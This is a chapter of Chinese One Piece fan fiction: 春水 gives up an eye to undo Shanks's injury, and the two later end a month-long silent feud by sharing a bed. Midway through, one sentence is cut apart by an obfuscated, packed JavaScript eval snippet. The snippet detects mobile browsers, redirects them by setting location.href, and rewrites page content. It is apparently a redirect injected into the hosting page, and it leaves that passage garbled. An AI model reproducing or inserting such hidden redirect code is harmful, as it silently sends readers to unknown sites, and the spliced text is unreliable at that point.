【“他说你这种——只要舍得主动「放弃」某根线,用同等的「代价」去抵消想要改变的那一部分「可能性」,就能减少「反噬」yoi。”】 【“我听不太懂你们这些奇怪的用词,但大概是「以伤换伤、以血换血」这个意思吧?太乱来了。”】 【“春水,我说你啊,好不容易捡回一条命,别再想什么果实觉醒了yoi。”】 马尔科他啊,管了那么一大家子人,上有老下有小的,又要战斗又要治疗,每天忙得跟陀螺似的。 ……如果可以,她真的不希望再麻烦他调查这些事了。 明明和他无关的…… “谢谢你啊,马尔科。一直以来都麻烦你了。” 似乎又听到了好友苦口婆心的劝诫,春水咽了咽喉咙里的血沫,穿透星河,主动看向自己的「命线」。 血红的丝线从她体内蔓延出来。一根又一根,或明或暗,交织成了一张巨网。 她冷静地看着那一根根线,知道它们每一根都象征着自己「未来」的某些「可能性」。 「寿命」、「思辨」、「记忆力」、「视力」、「嗅觉」、「行走的能力」、「见闻色霸气」、「果实觉醒的能力」…… 原来,除了「剑术」,她还有这么多能交换的东西啊。 以伤换伤,以血换血。 那么,承担起香克斯断臂的因果——究竟要砍断哪一根才够分量呢? 那些「可能性」,在这一刻都变得无足轻重。 ——「未来」这个词对她没有任何意义,无论砍断哪一根,她都无所谓。 春水平静地选中了一根最亮的「命线」,那双温和如水的黄金瞳骤然变得极亮、极冷——像一柄抽出鞘的长刀。 她没有犹豫。她甚至没有多看一眼。 脊背挺直,食指与中指并拢,手起刀落,挥刀斩下。 「视力」。 一根线,应声而断。 纵使再也无法握紧刀剑,剑士的本能依旧刻在身体里。此时此刻,受困于孱弱病体的灵魂短暂地冲破桎梏,又挥出了一刀,果决又利落。 哈。 还真是久违了——这种拔刀出鞘的感觉。 眼前骤然一黑,左眼流出了一行血迹。眼球烧灼得惊人,每一根视神经都爆炸开来,将视网膜用血色涂满。 几乎瞬间失去了所有视觉,春水却狠狠咬着牙,露出了个几乎快意的笑来。 ——这是成功了。 她付出了同等的「代价」,驱动着「织命手」强行将「命线」粘合。与此同时,时间解冻,恢复流逝。香克斯左臂上的烙印如同铅痕一般,被橡皮擦缓缓擦除。 “噗——!” 近海之王的利齿与他险险擦过,只留下一道血痕。路飞在他怀里吓得嚎啕大哭,小手狠狠揪着他的衣领不放。 “呜,香克斯——!” 枪声轰鸣,近海之王被铅弹与火焰弹击中要害,嘶吼着沉入海底。 ——「规则」,第二次被改写了。 贝克曼是最早意识到春水不对劲的人。面对这场危机,她太过平静也太过笃定,就像是早早被剧透的旁观者,只是看着剧情发展向那个必然的结局。 看到了——却不阻止吗? 他盯着她突然流血的左眼,直觉有什么东西……就在那一瞬间,从她身体剥离了出去。 “……春水,你的眼睛?” 她——她现在是在笑吗?那样畅快的、透着凶狠的……笑? 他没看错,春水确实在笑。 “这样啊……原来只要一只眼睛……早说啊。”她感受着毫发无伤的右眼,发现自己居然还能看得清香克斯,于是那笑意越发扩大了。 她想,她大概明白了这是怎么一回事。 香克斯那孩子,即使断了左臂,依旧能想出弥补的法子。要么强化右手的剑技,要么专注霸气的锤炼,无论那条路,都让他很快适应了独臂这个「未来」。 ——是否断臂,从结果上看,都不影响他爬上顶峰。 所以,改写这样的「规则」,不用赌上她全部的「视力」——只要一半就够了。 那个「浅海契约」也是如此。它控制不了他。 因为,他注定会挣脱宿命的枷锁,成为这片大海上最强大、最自由的力量之一。 ——啊啊,不愧是他,不愧是香克斯。 他是个从小就不会让任何人失望的好孩子,做姐姐的打从心底地为他感到骄傲。 没等贝克曼伸手,春水已经半跪在地上,发出了“噗通”一声闷响。 “滴答——滴答。” 温热的液体滴落甲板的声音异常清晰。 没有感受到预想中的剧痛,理智回归,大脑飞速运转,香克斯几乎瞬间察觉到整件事最不对劲的地方——那是春水对此的反应。 不对——这一次,这个未来……她是看到了的! 但是她为什么没有阻止?她是故意的,她就在等这一刻!等着路飞被丢进海里,等着他们一起遭遇近海之王—— 她——她究竟想做什么?! 一大盆冷水兜头浇下,香克斯迅速转头看向春水,瞳孔剧缩。 果然,她单手撑地,左眼汩汩流血——不只是左眼,每一处都在流血……!! 大股大股鲜血从她口中汹涌而出,颤抖着呕出,染红了她苍白的衣裙和前襟。 “这——突然怎么了?!”伙伴们慌了神,贝克曼已经喊来了本乡。见此情形,见多识广的船医也愣在了原地。 “她……” 没有外伤,全都是来自于她身体深处的……因为一些关键性脏器破裂或者迅速恶化……这怎么可能?他们明明一起待在船上?! 血很快弄脏了甲板,渗进更深的木缝里,留下干涸的色泽。 “看来要拜托你们重新打扫了。”春水朝围拢过来的伙伴们抱歉地笑了笑,耳鸣阵阵,舌根绞痛,连听与说的力气也被剥夺了。 啊啊。 贫穷子,不妄说……妄说一句天公折……万劫尘沙道不成,七窍眼睛皆迸血。 妄言天命,扭转「命运」,触犯禁忌,遭受「反噬」。以自身血肉替他挡下灾祸,春水的脸色惨白如纸,望向弟弟的眼神却依旧温和,带着些许安抚。 「没事的,香克斯。」 「我不会死的,别怕。」 透过一行行凄切血泪,奇迹般的,香克斯读懂了她的意思。 “春水——!!!!!” 如同濒死的兽类,哀鸣泣血。在世界陷入昏沉前,她最后听到的……是这样的声音。 ……结果,还是吓到他了。真是……抱歉啊,香克斯。 ——春水闭眼前,想的只是这个。 * 三天后,她缓缓睁开了眼睛。 时隔一年,这具好不容易被填了些生机的身体又感受到了熟悉的、仿佛被掏空后又被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493587|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勉强粘合起来的虚弱感。 一切都回到了原点——不,也许比她登船以前的情况更糟。 因为她还少了一只眼睛。 血腥气在喉咙里挥之不去,仅有的右眼所看到的世界是缺失了一半的狭窄。蒙上几层薄雾,视线模糊不清,她缓了缓才找回意识,将注意力聚焦在了医疗室的天花板上。 春水“看”着自己那些越发暗淡的「命线」,甚至有心情复盘:“——半觉醒状态下,比起上一次,我能承担的「代价」更大了。” 那样的话,是不是代表……如果有一天,她能彻底觉醒果实的能力,承担那份「代价」时…… 逆转生死,以命换命。 心里一松,呼吸也急促了几分。她翘起嘴角,藏不住满心欢喜。 船长,我能做到的。 愉悦的笑容扩大,左手却突然被人大力握住,指节都被捏得有些发白。 “……这种时候你还在笑什么?有什么好开心的?!春水!你险些……你究竟知不知道?!!” 那样分明,那样滚烫,再也压不住滔天怒意的质询——是香克斯。 险些什么?险些死了吗? 傻孩子,这种事,她怎么会不知道呢? 春水偏头,满含笑意地对上了香克斯布满血丝的双眼。这孩子守在床边,胡子拉碴的,眼下还带着浓重的青黑。 唉,肯定是被她吓坏了…… 她嘴唇翕动,轻轻喊了声他的名字:“我回来了,香克斯。” 香克斯死死盯着那张他最熟悉的笑脸,发现自己竟在此刻……无比痛恨她的笑容。 被本乡几次宣判病危,半只脚已经踩进了地府的人,醒来的第一件事居然还是在笑。 那代表着什么? 代表着——代表着这一切都不过是个开始!代表着她对此早有预期!! 是这样啊……所以,以后还会发生这种莫名其妙的事情。 她还是会主动地将自己的生机双手奉上,去交换些什么他看不懂的「命运」。 春水。 呵,春水。 ——完全没有“爱惜身体”“优先保命”这个概念吗?!!对她而言,哪怕死掉也无所谓吗?! 失而复得的巨大喜悦,迅速被一种更深沉、更汹涌的后怕所覆盖。香克斯的喉咙剧烈滚动了一下。 没有她预想中的安慰、责备、或是拥抱,也不再给她解释的机会。他猛地松开手,被烫到一样站起身,压住怒火,声音刻意压得平稳: “本乡,她醒了。” 说完,竟径直离开了医疗室,看都不愿意再看她一眼。 春水愣住了。 她茫然地看向本乡。 在一旁调配试剂的船医走了过来,用沾着生理盐水的棉签替她润了润干涩的嘴唇,面露同情——这同情不知道是对香克斯,还是对春水。 “头儿不眠不休守了三天……春水,他快急疯了,真的。”他叹了一口气,“现在,大概是到‘秋后算账’的时间了。” 看到了悲剧却不够信任伙伴们,将责任全扛在自己身上,自以为是的逞英雄,孤身赴死,还不知悔改,看样子还想来第二次、第三次。 明明有更好的办法,明明能够提前避开,明明可以和大家商量……她却主动划定了一条界限,明确地将所有人隔离在外,以“保护”之名,用力将他们推开、推远。 包括香克斯。 是的,包括香克斯。 ——这笔账算下来,是他持续了整整一个月的、单方面的冷战。 香克斯依旧把春水照顾得无微不至,事事亲力亲为。 喂药,递水,帮她调整靠枕。在她能下床后,扶着她走路,晚上坐在门口为她守夜。 因为她失去了左边的视野,他每次都会站在她的左手边,尽他所能的帮她适应独眼,扫清她可能看不清的障碍。 他做这一切时,动作依旧温柔谨慎,生怕她感到不适,仿佛她还是那个易碎的瓷器。 本乡进来检查,他详细地询问注意事项,记录下每一句医嘱。拉基·路端来药粥,他一勺一勺吹凉了,耐心地喂到她嘴边。 但,他就是不和她说话。 不回应她的道谢,不接受她试图开启的话题,甚至……他会故意回避她的目光。 起初,春水以为这孩子只是需要一点时间消化情绪。她理解他的恐惧,毕竟自己当时的样子……确实吓人。 他不说话,她就试着主动开口: “香克斯……我没事了。” “那个……路飞还好吗?” “……艾斯那孩子……” “达旦姐和露玖姐……” 她每说一句,香克斯就会停顿一下。但无论她说什么——道歉、解释、抛下这些聊起轻松的话题——他都只是淡淡地看她一眼,沉默地完成手头的事情,然后转身离开。 那双无时无刻不温暖明亮的眼眸,冷漠得有些过分了。 一次,两次……春水终于察觉到了不对劲。 香克斯,这是……在生气——在生她的气。 认识到这一点,她有些愕然。在她漫长的记忆里,这孩子一直懂事又乖巧,连偶尔闹别扭都是一哄就好。 有时候甚至连哄都不用……只要她摸摸他的头,那个倔强支楞着的小脑袋就一下子软和了,挨挨蹭蹭地喊着“姐姐”,依偎了上来。 他好像从来没朝自己发过脾气……这是她第一次见他……见他和自己生气。 以春水对香克斯的了解,她以为只要花一点心思——然而,她错了。 大错特错。 她试着示弱。在他递来水杯时,轻轻覆上他的手背,用指尖摩挲他腕骨内侧的皮肤,又拽了拽他的袖口——以往,这些亲昵的小动作总能让他别扭的神色缓和下来。 “香克斯……” 香克斯动作一顿。 他近乎强硬地、一根根掰开她的手指,将杯子塞进她手里,果断将手腕从她手中抽离。 春水有些无措,又不死心地在他弯腰为她整理被子时,抬手摸摸他的头。 这是她最常用的、安抚他的方式。 但香克斯比她更快一步,头也不抬就轻松躲开了,只留给她一个紧绷的、写着“我很不高兴”的下颌。 ——他……他刚刚是用了见闻色吗……?因为不想被她碰到……? 春水的手僵在半空。 她终于意识到,这次不一样。香克斯不是在闹别扭……他是真的……非常、非常生气。 她开始真正地“哄”他,用他喜欢的方法—— 这孩子……喜欢什么呢? 啊,对了。他一直很喜欢肢体接触,喜欢紧紧地贴着她,将她抱在怀里。 那就这么做好了! 在下一次被扶起时,春水顺势靠在他怀里,将额头抵在他胸膛,感受着他瞬间绷紧的肌肉和骤然加快的心跳:“香克斯……头有点晕。” 当然,这只是个借口。 她小心翼翼地观察着他的反应——稳稳地扶住她,等她站稳就立刻松开,绝不逾越。 这法子行不通啊。 那……那牵手呢?这孩子不是动不动就要牵手吗? 春水这么想着,主动牵住了他的手,带着点笨拙的示好意味,用指尖挠了挠他的掌心。 香克斯冷漠地回望,拂开她的手。随即,更紧地、公事公办地托住她的手臂,杜绝了任何小动作。 ——什么……连牵手都不行?! 回忆起他偏爱的那些……她最后想到了拥抱。 一次傍晚,海风微凉,她鼓起勇气,红着耳朵,在伙伴们“她也是豁出去了啊”的同情注视下,主动朝香克斯张开了双臂:“香克斯,抱——抱抱。” 说实话,这已经是她能做出的、最大程度的亲近了。 在过去,只要她流露出一点点这样的意思,这孩子都会像得到肉骨头的小狗一样,欢天喜地扑上来——无论是哪个年龄的他,都最喜欢了。 然而,香克斯抗住了。 与其说是灭火,倒不如说……那股子火被这人泼了几桶油,简直是越烧越旺了。 以为这样就能……春水,她当他几岁了?! 他险些被她这些手段气笑,咬着牙深深看了一眼。然后——他绕开了她。 他头也不回的走了。 居然连拥抱这招也失灵了……春水看着他的背影远去,第一次感到了慌乱。 她宁愿他像小时候那样,有什么不满就直接嚷嚷出来,甚至打一架……都好过现在这样。 但一天,两天……一个月过去了。 直到春水能在本乡的许可下,脱离了危险状态,可以搬出医疗室单独行动了,这种恐怖的、沉默的僵持依旧在持续。 香克斯不再亦步亦趋地跟着春水,只是让她一直在自己的视线里——这让顺毛计划的难度提升了好几个档次。 攻守易势,现在追着试图贴贴的人成了春水,但她显然没有香克斯那么厚的脸皮和百折不挠的决心。 她能做的最出格的邀请,就是在甲板晒太阳时,主动空出身边的位置,在男人经过时,拉住他的衣角,示意他坐下。 遇到这种情况,香克斯往往停下脚步,用一种平静无波、却让人心里发毛的眼神盯着她,盯到春水耳根泛红,自觉不妥,松开手。 香克斯……那双总是盛满笑意或锐气、令她无比骄傲的眼睛里,有着针对于她的,压抑不住的后怕,以及……越来越清晰的怒气。 好像弄巧成拙了。 他……他更生气了? “怎么……这么难哄啊……”再一次被他拒绝,春水低声喃喃。 海风吹拂着那张苍白的脸,她怔怔看着自己空落落的手。一种陌生的、酸涩的情绪涌上心头。 ——这个她从小带大的最是听话的弟弟,突然变得油盐不进。 怎么办……怎么办呢? 春水隐约知道,香克斯并不想要来自“姐姐”的安抚,可他究竟想要什么……除了还不能告诉他的「织织果实」,她尚未看清,也无从下手。 她只是前所未有的明白了一点: “香克斯,不再是从前那个……她说什么就是什么的孩子了。” “……他,长大了啊。” 19. 要不要一起睡觉 意料之中,几乎是必然的。 这一个月里,比起苦苦按捺的香克斯,各种碰壁的春水,最受苦的……其实是作为双方垃圾桶的贝克曼。 头儿那边一次比一次凶的闷酒尚且不提,贝克曼妈妈成了春水唯一能倾诉和求助的对象。 老实说,他已经被这个遇见香克斯就满脑子都是“如何哄孩子”的人打败了——头儿那个体型,那个年龄,无论怎么看都不是孩子吧?! 光是那种避重就轻,轻飘飘软绵绵的道歉和解释究竟有什么用啊。 他究竟想要什么,究竟在气什么——恨得咬牙切齿,已经在思考是不是只能捆住她的手脚,剥夺她的「能力」,才能让她不再一声不吭、独自涉险这份心情。 ……这个人到底什么时候能看懂啊……? 这么简单的事!她平时不是很聪明的吗?! 「比起只能被你护在身后的弟弟,他更希望,你将他视作能够并肩而战的……能够商议对策的……不求依赖共生,哪怕只是彼此信任的伙伴也行啊。」 作战会议的间隙,贝克曼在船舷边抽烟透气。他又一次看见了春水,这次她似乎想到了个新的“哄孩子”的主意。 ……她朝自己走来了。 “贝克……还是没用。” 贝克曼掐灭烟头,心道:“就你那些哄小孩的方法?有用才怪。” 他发誓,如果这一次,她还抓不住要点,他一定要和她好好讲明白——头儿这一个月的对牛弹琴,已经是他、或者说是船上所有人,忍耐的极限了。 “……这么久了,他还在生我的气。”春水眉头紧蹙,看着相当头疼,“这孩子……确实长大了。” 喔……上船一年了,亏得你现在才发现啊。 贝克曼内心毫无波澜,甚至想问“你现在才知道他有多难搞吗?”。 ——但他忍住了。 会议室的门虚掩着,里面原本正在热热闹闹进行中的讨论声,在春水开口的瞬间,诡异地安静了下来。 几道影子在门缝下清晰可见,摆明了是在偷听。 这种私事闹到大伙儿面前,平时的春水可能会有些不好意思,但现在,她已经没心思去管那些了—— 她咬了咬牙,似乎下定了某种决心,满脸写着“只能如此了”。 ……这是什么表情? 为什么她看着像是“我豁出去了”,有点想破罐子破摔了? 贝克曼陡然升起了种不祥的预感,决定在她说些蠢话以前给出建议:“春水,下次做决定前……” ——和他商量商量。哪怕真的决定去死,也请你带他一起。 他是想这么说的。 可他只说了个开头,因为春水几乎同时开口了。 她问:“贝克,如果我邀请他……今晚上床和我……一起睡觉。你说,他会不会消气一点?” “噗——” “咳!咳咳!” 会议室里顿时传来了一连串压抑不住的倒抽冷气声、呛咳声和什么东西摔倒在地上的声音,此起彼伏,不绝于耳。 听清了她的问题,贝克曼卡壳了:“………?” 为什么……究竟是怎么……等等,春水的脑袋……到底是什么构造啊? 夹着烟的手指僵住了,本来想说的话也卡在了嗓子里。这是他想破了头也无法预想到的情况,沉稳的副船长甚至表情空白了几秒。 干嘛啊……为什么……贝克……像是白天见了鬼似的……? 从没见过他这个表情啊。 明明是在征询他意见的、一脸认真的春水,被他看得有点想笑了,原先的紧张情绪也散去了一点。 ——这是代表她终于找到方法了吗?对了,贝克刚刚想说什么来着? 会议室内竖着耳朵听悄悄话的干部们已经集体失声,下巴砸了一地。 「“…………?!”」 「“什、什么?!上床?!!”」 「“上哪个床……?上你的床……?!”」 「“邀请头儿?还是你主动?!”」 「“诶?!睡、睡觉?!和头儿吗?!”」 「“等下、等下,是不是有点后遗症啊,头疼脑热之类的……所以意识不清楚了……?春水真的知道她在说什么吗?!本乡!本乡!!”」 「“别喊了!我大概能明白原因……头儿这大半个月都在守夜,一直睡在椅子上……想让他好好休息,春水大概是这个意思吧……大概?”」 「“所以她真的只是想睡觉啊……吓死我了,我就说怎么可能突然开窍……唉,那你们说,这次头儿还能把持得住吗……?”」 「“他只会得寸进尺……顺势而为吧?”」 「“完了完了,头儿知道了怕不是要乐疯……他绝对扛不住这一招……不对,这招也太狠了!春水!杀敌一千自损一万啊春水!!”」 「“这哪里是哄人,这是羊入虎口!自投罗网!贝克!太危险了!别愣神了!快说点什么!!”」 知道自己确实应该说点什么的贝克曼,正沉默地、用一种极其复杂的目光看着春水。 没在开玩笑,或者试探……她的脸上确实写着:“只能如此了,这是我最后的办法。” 回过神来,这么些时日的相处足够他了解春水在想什么——头儿温水煮青蛙的策略,虽然没有边界感,但确实……在一些私人领域上,会刻意地收敛。 比如床,比如浴室……无论他多渴望——本着尊重心上人的原则,他都保持着“弟弟”该有的分寸,不敢越雷池半步。 所以……她这是想起来……小时候抱着孩子哄他睡觉,就能让他停止哭闹……现在也想故技重施吗? 大致按着春水的逻辑走了一圈,发现按着这样的方式……大概率真的能哄好香克斯。虽然生气和消气的原因都和她想的完全不同——但这个要求,头儿是真的不会拒绝。 他根本无法拒绝啊…… 而且,心上人主动邀请……那家伙估计又会爽到。 ——过程全错,结果居然是对的。 该说不愧是春水吗? 贝克曼内心罕见地升起一股无力感。 他很想问她:你真的知道“一起睡觉”对那个憋了快三十年、刚准备开吃(虽然并没真正吃到)就被吓个半死、现在正处于极度不安和愤怒中的男人,意味着什么吗? 你想清楚了吗? 哪有姐姐会这么哄弟弟的啊?! 把他放上你的床跟把饿狼放进羊圈有什么区别啊?! 但他看了看春水清澈的双眼—— 她无法承受香克斯的“冷落”和“沉默”,并且为此极度不安。这份不安也同样远远超出了“姐姐”该有的范畴,让她惊慌失措地、想要用尽全力地哄好“弟弟”。 ……那背后究竟代表着什么,贝克曼看得分明。 是这样啊。 如果那个人是香克斯,只要为了让他开心,要她怎么做、做什么……都可以吗? 这位“姐姐”的情谊也说不上有多清白啊——也是,那种不正常的宠溺和毫无底线的纵容,清白就有鬼了。 ……这俩人你情我愿的,他们在这儿瞎操心个什么劲儿呢。 千言万语化作一声叹息。 贝克曼深吸一口气,做出了最后的善意提醒:“春水,你知道……头儿是个成、年、男、性,对吧?” 春水完全误解了他的意思,解释的很认真:“我知道你的意思,我也担心过……但我刚刚量了尺寸,床长两米五,宽两米,两个人是睡得下的。” ——因为头儿在给你买那个床的时候,选的就是双人床啊……那家伙邀请你上船的第一天就做好了“和你睡觉”的准备了啊……!!! 听清了她的重点,作战会议室内立刻传来一阵压抑的、仿佛快要窒息的声音。 贝克曼:“………” 究竟在和她在说什么呢……叽里咕噜的,完全是白费口舌。 有些人,注定要亲身经历,才能明白某些界限被称之为是界限、无法跨越的原因。 他彻底放弃了,面无表情地肯定了她的方案:“……你可以试试。” “头儿,这可不是我昧着良心哄骗她,是你“姐姐”自己送上门的。”他脸上是这么说的。 得到了贝克曼的支持,春水重新燃起斗志,当晚便付诸行动。 于是,当香克斯冷着脸送来汤药,正准备坐回门口的椅子上,继续替她守夜——而且是坚定地背对着她的时候。 春水叫住了他。 “香克斯。” 男人的脚步停住,却没有回头。 他这些天都没睡好……眼下乌青,胡茬也忘记刮了。 ……有点心疼。 春水坐在床边,手指无意识地揪着毯子,带着点小心翼翼的试探:“你……今晚要不要……上来睡?” 她顿了顿,拍了拍身边的位置,对着还在生闷气的弟弟补充了一句: “我的床……分你一半。” 背对着她的香克斯,身体猛地一僵。 ……啊?! 什么……什么分他一半? * 船舱内的空气凝滞了——那简直是死一样的寂静。 香克斯缓缓转过身,直视春水,脸上是毫不掩饰的震惊与错愕。 ——这一年里,无论他如何“得寸进尺”地侵占她的空间,她的床铺始终是最后的底线、不容侵犯的私人领域。 他再如何渴望,也恪守着这条界限。 此刻,她竟然……主动……邀请他……上来睡? 这一个月里,那双锐利的眼睛首次不闪不避,直直地看向春水,里面翻涌着她看不懂的、晦暗而汹涌的渴望。 香克斯死死盯着她,用目光化作利剑把她钉穿了一次又一次,仿佛要确认她此刻是否清醒。 他沉默了足足有一分钟,或者更久。久到春水几乎以为他要再次拒绝时,才从牙缝里挤出几个字,带着点咬牙切齿的意味,声音也沙哑得厉害: “……只是今晚?” ——没有不理她!他说话了!果然!这招能行!! 见他终于肯开口和自己说话了,春水心中一松,底线迅速松动后退。 “不……你、你想的话……什么时候都行!”她几乎是迫不及待地妥协了,“所以……香克斯,不生气了好不好?” 这话一出,如同最后的赦令。香克斯真的被她气笑了。 他看着她那副如释重负、甚至带着点“我终于找对办法了这招行得通”的庆幸表情。 ——一股邪火混合着难以言喻的渴望,直冲头顶。 好,很好。 ……真是他的好姐姐啊。 他想什么时候都行?上她的床?随时?她到底知不知道自己在说什么?! 但……该死的,他无法拒绝。 而且他无法自控的、被她这毫无防备的巨大让步……确确实实诱惑到了。 ——避开承诺,避开果实。能想出这招,怎么这么狡猾啊,春水。 不愧是你。 姐姐,不愧是你。 没回答“好”或者是“不好”,香克斯反手关上门,落锁的声音在寂静的舱室里格外清晰。 生怕晚一秒她就会反悔似的,他沉着脸走到床边,带着一种令人头皮发麻的压迫感,垂头看她。 “春水。”他面无表情地喊她的名字,最后确认一次,“这是你说的,别反悔。” “……嗯。” 穿着洁白睡裙的女人被他盯得有点局促,睫毛垂下,在脸上投射一片颤动的阴影。裙摆散落,在床褥上开出了一朵白花,月光下的面庞温和而动人。 香克斯居高临下地看着她,眼神复杂难辨。 然后,他伸出手,没有急着拥抱,而是开始—— 一粒一粒,慢条斯理地解自己衬衫的纽扣。 一颗,两颗,三颗…… 动作不紧不慢,处处透着一股压抑已久、不容置疑的侵略性。 布料摩擦的细微声响,在寂静的舱室里格外清晰。 他全程死死盯着她的眼睛,像猛兽死死盯着自己的猎物,在想从哪里下口会更美味。 不确定他这算不算是愿意和自己和好,春水茫然地回望。 直到目光落到了他逐渐裸(这要码吗)露的、线条流畅结实的胸膛和腰腹,她后知后觉地感到有点不自在,脸也开始微微发烫。 她逃也似的别开了眼。 这头引狼入室的羊,似乎……终于隐隐约约地意识到,这个“哄人方式”,可能和她想象的不太一样了。 但话已出口,覆水难收——而且这才刚刚开始。 她压下不安,默默地往床内侧挪了挪,给他腾出位置。 香克斯脱掉衬衫,露出精壮的上身,只穿着单薄的长裤。他把衬衫随手丢到椅背上,掀开被子,躺上那张他肖想已久的床。 ——然后,他毫不犹豫地转过身,背对着她,用沉默的脊背明确地表示: “这就够了?你想得美!我还是很生气,还是不想理你!” 春水:“………” 那点未知的不安迅速被熟悉的无奈占满了。 她看着那在咫尺的、散发着热意的背影,愁得简直想叹气。 这都不行吗?床都分你一半了……还想怎么样啊…… 她盯着他的背影,最终心一横,支起身,手按在香克斯浑身瞬间绷紧的胸腹上,借力跨过了他的身体,面对着他躺下。 ——这下,总能沟通了吧? 被她的发尾扫过脸,鼻腔充斥着她的气味,香克斯还是没做声。他静静地看着她,看她究竟能做到哪个地步,眼睛在黑暗里亮的惊人。 春水犹豫着伸出手,轻轻地环住了他紧窄的腰身,将脸颊贴在他的胸口上,像在甲板躺椅上那样,将自己缩进他怀里。 香克斯:“!!!” 他完全没料到她会这样……这可以说是她第一次,主、动、投、怀、送、抱。 “这样……可以了吗?”今晚主动得不可思议的人,小声地、带着点委屈地再次求和,“不要生我的气了,香克斯……你已经一个月没理我了。” 春水能感觉到,香克斯的呼吸粗重了几分。 ——但他依旧没动,也没说话。 一起睡加抱抱,这是她最后的绝招了。如果还是不行……那就真没辙了。 ……难道真的要和他说「织织果实」那件事吗…… 可是…… 现在还不是时候。 春水心里更没底了。她搜肠刮肚地想着词,正想开口—— 一直处于被动状态的男人,终于动了。 他几乎是有些粗暴地张开双臂,将她整个人严严实实地扣进怀里,手臂紧紧地箍住她的腰背和肩膀,力道大得让她的骨头都开始发疼。 被她的主动求和、投怀送抱、还有那句她不自知的撒娇彻底顺毛,香克斯最后还是心软了。 所有的坚持、怒火、想让她长记性不要再伤害自己的决心,全方面土崩瓦解了。 那些压抑许久的情绪,终于在这一刻找到了宣泄的出口。 “……最后一次。” 他将脸深深埋在春水的颈窝,声音闷闷的,带着不易察觉的颤抖,却依旧凶巴巴: “下一次,不要再这样了——即使是为了我也不行。” “不要再有下一次了……春水!” 春水的心被烫了一下,软得一塌糊涂。她听到了冷战终结的声音。 ——终于,终于哄好了。 她放松下来,手一下下地抚摸他紧绷的背脊。 “不会离开你的。”她轻声保证,然后做出了唯一能做的、也是最诚恳的让步,“下一次——我会先和你商量,好不好?” “我错了。原谅我吧,香克斯。” 舱室内安静了很久,只有两人交织的呼吸和心跳声。 怀抱又收紧了些。 良久,春水才听到头顶传来一声发自喉咙深处,终于不再冰冷的:“……好。” 用他最渴望的方式,他暂时被安抚了下来。持续了一个多月的冷战,终于在这一刻画上了句号。 春水感受着他的呼吸,彻彻底底地放下心中的大石头。 ——看来,这个方法是有效的。 她迷迷糊糊地想,在他的怀抱中卸下了无措和疲惫,安安稳稳地睡去。 尚未意识到和解的真正代价是什么,春水自然也看不到香克斯此刻的表情。 一片清醒而灼热,那是势在必得的表情。 ——有些界限,一旦开始模糊,就再也回不去了。 而他,不打算再退回原地。 * 自那晚以后,香克斯仿佛拿到了一张合理合法的通行证。第二天,他直接抱着自己的枕头,理直气壮地站在春水的房间门口。 “你的身体还没养好。”他振振有词,眼神热得烫人,“本乡说了,需要持续观察,尤其是夜间体温。” 春水张了张嘴,将那句“本乡没和我说需要这样啊”默默咽了回去。 承诺是自己做的。比起冷漠,显然还是这种状态的香克斯更能让她接受。底线再退,她终究还是侧身放他进来了。 ——于是,这成了新的惯例。 在那以后,香克斯再也没睡过船长室的床。 身边多了个人,起初春水还有些不自在。香克斯也不急,只是老老实实地并肩而卧。 他的体温总是很高,像个小火炉,带着年轻人特有的、仿佛用不完的精力和蓬勃朝气。而春水则因旧疾和常年消耗,体温常年偏低,困于寒症,手脚冰凉。 不过几晚,她的身体就诚实无比,自动寻找热源,把自己主动送进了他怀里——香克斯没猜错,她确实在贪恋这份暖烘烘的安全感。 嗅着男人身上混合着阳光、海风和淡淡酒气的气息,源源不断的热度驱散寒意。就连入睡都容易了很多,纠缠自己十多年的噩梦也远离了。 苍白的脸颊渐渐透出健康的淡粉色,春水有些羞赧地蜷缩起脚趾,埋头在香克斯的肩窝,小声地同他道谢:“好暖和……谢谢你,香克斯。” “这有什么的。你抱着软乎乎又凉快,我很乐意。”香克斯总是“勉为其难”地接纳她,手臂环住她的腰,将她牢牢圈在怀中,嘴角带着计谋得逞的笑意,心满意足。 各种意义上的同居生活开始后,这对“姐弟”肉眼可见的关系越来越亲密。最感到解脱的,莫过于贝克曼了。 春水有心事时往往会习惯性地看他一眼,嘴唇微动,似乎想说什么。 啊?那些“香克斯为什么——”又开始了?! 就在他心中警铃大作,已经做好叹气的准备时——她转而拉住了香克斯的衣袖,低声说了句什么。 正和伙伴们谈笑的香克斯立刻低下头,自然地揽住她的肩膀,同她低声交谈起来。 看着这一幕,贝克曼长长舒了一口气。他点燃一支烟,靠在船舷上,感觉肩头的重担终于卸下了。 总算……他心想,这两个麻烦精……总算学会内部消化那些笨蛋问题了。 * 航程还在继续,顺着雷利的生命卡,雷德·福斯号朝着香波地群岛驶去。 这座岛依旧在泡沫与阴影中,维持着病态的繁华。 泡泡缆车、巨大红树、奴隶交易、不法地带……熟悉的景色映入眼帘,春水的心中涌起一股近乡情怯的不安。 香克斯牵起她的手,手指不容拒绝地挤入她的指缝,与她十指相扣,自然无比。 “走吧,春水。”他看着她,“我们去看看雷利先生。” ——他知道,她真的很想念雷利先生。 他也是。 「夏琪的敲竹杠BAR」内,光线被刻意调暗,隔绝了外界的喧嚣。 吧台后,夏琪优雅地擦拭着玻璃杯,语调慵懒,对坐在一旁的雷利说着近来的海上趣闻——包括了红发海贼团在附近海域活跃的消息。 冥王「西尔巴兹·雷利」,鬓角 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这些年,她一定……受了很多很多的苦,委屈混着不甘,都被她一一咬着牙咽下了。 他一时间竟不知道是该为这孩子的成长感到开心,还是该为她付出的代价而心疼。 雷利叹了一口气,放下酒杯,目光带着毫不掩饰的疼惜。他快步上前,拍了拍她单薄的肩膀,将纤瘦的女儿拥入怀中。 “回来就好,春水。”他的声音平稳,如同定海神针,总能迅速安抚她的情绪,“……回来就好。” 众人落座,春水像小时候一样,下意识地想坐到雷利身边,却被香克斯不动声色地按在了自己身侧的座位上——即使雷利在看着,他的手自始至终没有松开。 那是超出了姐弟距离,过于亲昵的……十指交缠。 香克斯讲起组建海贼团,以及玛丽乔亚、艾尔巴夫发生的故事,雷利安静地听着,目光大多数时候落在春水身上。 